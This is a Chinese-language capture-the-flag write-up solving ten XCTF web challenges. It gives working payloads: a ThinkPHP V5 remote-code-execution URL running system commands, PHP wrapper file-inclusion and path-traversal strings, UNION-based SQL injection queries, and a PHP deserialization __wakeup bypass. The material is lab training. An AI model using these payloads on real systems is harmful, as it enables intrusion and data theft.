Contents

攻防世界web高手篇(001-010)

0x00 baby_web

题目描述:想想初始页面是哪个

在url后面输入index.php,但跳转到1.php。打开网络,发现访问到过。

然后在响应头找到

0x01 Training-WWW-Robots

0x02 php_rce

搜一下ThinkPHP V5的漏洞,参考:https://www.cnblogs.com/backlion/p/10106676.html

直接使用payload,http://111.200.241.244:62801/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami,能够RCE。

http://111.200.241.244:62801/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

http://111.200.241.244:62801/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

0x03 Web_php_include

阅读代码发现php://会被过滤,这里采用PHP://大写绕过。

修改POST内容为<?php system("ls");?>

http://111.200.241.244:64165/?page=PHP://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php

得到PD9waHAKJGZsYWc9ImN0Zns4NzZhNWZjYS05NmM2LTRjYmQtOTA3NS00NmYwYzg5NDc1ZDJ9IjsKPz4K,decode后得到flag。

解法2:利用data://伪协议

使用方法:data://text/plain;base64,xxxx(base64编码后的数据)

<?php system("cat fl4gisisish3r3.php");?> base64加密,得到PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik7Pz4=

执行后,查看源代码

0x04 ics-06

题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。

id只能输入数字,输入其它的参数也会变成数字,这里使用burpsuite的intruder来爆破一下。

访问url

0x05 warmup

阅读源代码,发现注释<!--source.php-->,进入url/source.php,页面显示

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<?php

    highlight_file(__FILE__); //打印代码
    
    class emmm //定义emmm类
    
    {
    
        public static function checkFile(&$page) //将传入参数赋值给$page
    
        {
    
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //申明白名单
    
            if (! isset($page) || !is_string($page)) { //若$page变量不存在或存在非法字符
    
                echo "you can't see it";
    
                return false; //返回false
    
            }

 


            if (in_array($page, $whitelist)) { $page在数组中
    
                return true; //返回true
    
            }

 


            $_page = mb_substr(
    
                $page,
    
                0,
    
                mb_strpos($page . '?', '?')
    
            );
    
            if (in_array($_page, $whitelist)) {
    
                return true;
    
            } //截取$page中?前部分,若没有截取整个$page

 


            $_page = urldecode($page); //url解码
    
            $_page = mb_substr(
    
                $_page,
    
                0,
    
                mb_strpos($_page . '?', '?')
    
            );
    
            if (in_array($_page, $whitelist)) {
    
                return true;
    
            }
    
            echo "you can't see it";
    
            return false;
    
        }
    
    }

//--------------------------------------------------------------------------------------------------------------

    if (! empty($_REQUEST['file'])
    
        && is_string($_REQUEST['file'])
    
        && emmm::checkFile($_REQUEST['file'])
    
    ) {
    
        include $_REQUEST['file'];
    
        exit;
    
    } else {
    
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";

}  ?> 

mb_substr($str, $start, $length ) 函数根据 startlength 参数返回 str 中指定的部分。

mb_strpos ($haystack ,$needle )函数返回 needle 在别一个字符串中首次出现的位置。

hint.php存在一条提示

?两次url编码后为%253f,由于不知道ffffllllaaaagggg文件的具体位置,依次增加../测试。最后,构造http://111.200.241.244:60376/?file=source.php%253f../../../../../ffffllllaaaagggg

0x06 NewsCenter

题目描述:如题目环境报错,稍等片刻刷新即可。(等待了1个小时多。。。。)

输入1' order by 3#,得知有三列。构造1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())#

爆破出表后,爆破字段1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='secret_table')#

最后,构造1' union select 1,2,(select group_concat(fl4g) from secret_table)#

0x07 NaNNaNNaNNaN-Batman

解压压缩包

目测是html文件,修改下后缀名。

把最后的eval修改成alert,阅读源码。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
function $(){
   var e=document.getElementById("c").value;
   if(e.length==16)
   if(e.match(/^be0f23/)!=null)
   if(e.match(/233ac/)!=null)
   if(e.match(/e98aa$/)!=null)
   if(e.match(/c7be9/)!=null){
      var t=["fl","s_a","i","e}"];
      var n=["a","_h0l","n"];
      var r=["g{","e","_0"];
      var i=["it'","_","n"];
      var s=[t,n,r,i];
      for(var o=0;o<13;++o){
         document.write(s[o%4][0]);
         s[o%4].splice(0,1)}}}
document.write('<input id="c"><button onclick=$()>Ok</button>');delete _

match的值应该是be0f233ac7be98aa,输入得到flag{it's_a_h0le_in_0ne}。也可以直接在控制台运行js代码。

0x08 PHP2

.phps:phps文件就是php的源代码文件。通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。

我们访问阅读一下源代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

使用url二次编码绕过

0x09 unserialize3

__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。实例化xctf类并对其使用序列化。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
class xctf{                      //定义一个名为xctf的类
public $flag = '111';            //定义一个公有的类属性$flag,值为111
public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$a = new xctf();          //使用new运算符来实例化该类(xctf)的对象为a
echo(serialize($a));      //输出被序列化的对象(a)
?>

运行结果O:4:"xctf":1:{s:4:"flag";s:3:"111";}

序列化返回的字符串格式:

O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>} 

利用__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。修改属性值。构造http://111.200.241.244:65392/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}